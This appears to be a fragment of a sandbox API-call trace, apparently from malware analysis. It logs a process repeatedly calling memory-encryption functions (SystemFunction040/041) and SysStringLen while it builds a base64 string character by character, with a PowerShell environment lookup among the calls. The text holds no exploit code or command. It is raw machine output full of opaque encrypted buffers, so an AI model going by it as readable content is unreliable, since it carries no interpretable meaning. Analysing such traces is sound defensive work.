(param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xe417\x1cdc\xed65\x2ffb\xaffe\xcd57\x41e3\x8ec8\x2285\x3ee0\xd8f3\x8c4\xa8a5\x1232\x6afc\xd1c9\x7f0d\x6ff3\x3f27\xc53a\x1eb6\x9dbd\xd71e\x830a\x1f03\x2a12\xf60b\xfca1\xa729\xfac0\xa123\xb6d6") returned 0x30 [0132.840] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0132.840] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRuMP/0NoHmE8XZIkCW3dcmqA=褨鋥동") returned 0x30 [0132.840] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0132.841] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.841] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.841] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.841] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x01") returned 0x0 [0132.841] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.841] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.841] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.841] SysStringLen (param_1="") returned 0x8 [0132.841] SysStringLen (param_1="Y") returned 0x8 [0132.841] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.842] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0132.842] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0132.842] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.842] SysStringLen (param_1="YW") returned 0x8 [0132.842] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.842] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0132.842] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0132.842] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.842] SysStringLen (param_1="YWM") returned 0x8 [0132.842] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.842] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0132.842] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0132.842] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.842] SysStringLen (param_1="YWM1") returned 0x8 [0132.842] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.842] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0132.842] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0132.842] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.842] SysStringLen (param_1="YWM1O") returned 0x8 [0132.843] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.843] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0132.843] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0132.843] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.843] SysStringLen (param_1="YWM1OT") returned 0x8 [0132.843] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.843] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0132.843] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0132.843] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.843] SysStringLen (param_1="YWM1OTE") returned 0x8 [0132.843] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.843] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0132.843] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0132.843] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.843] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0132.843] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.843] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0132.843] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0132.843] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0132.844] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0132.844] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.844] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0132.844] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.844] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0132.844] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0132.844] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.844] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0132.844] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.844] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0132.844] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0132.844] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.844] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0132.844] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.844] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0132.844] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0132.844] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.845] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0132.845] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0132.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0132.845] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.845] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0132.845] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0132.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0132.845] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.845] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0132.845] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0132.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0132.845] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.845] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0132.845] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0132.845] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0132.845] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.846] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0132.846] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.846] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0132.846] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0132.846] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0132.846] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0132.846] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.846] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0132.846] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.846] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0132.846] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0132.846] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.846] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0132.846] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.846] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0132.846] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0132.846] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.847] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0132.847] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0132.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0132.847] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.847] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0132.847] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0132.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0132.847] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.847] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0132.847] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0132.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0132.847] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.847] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0132.847] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.847] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0132.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0132.848] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.848] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0132.848] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0132.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0132.848] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.848] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0132.848] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0132.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0132.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0132.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0132.848] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.848] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0132.848] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0132.848] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0132.849] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.849] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0132.849] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.849] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0132.849] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0132.849] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.850] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0132.850] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.850] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0132.850] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0132.850] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.850] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0132.850] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.850] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0132.850] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0132.850] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.851] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0132.851] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0132.851] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0132.851] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.851] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0132.851] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.851] 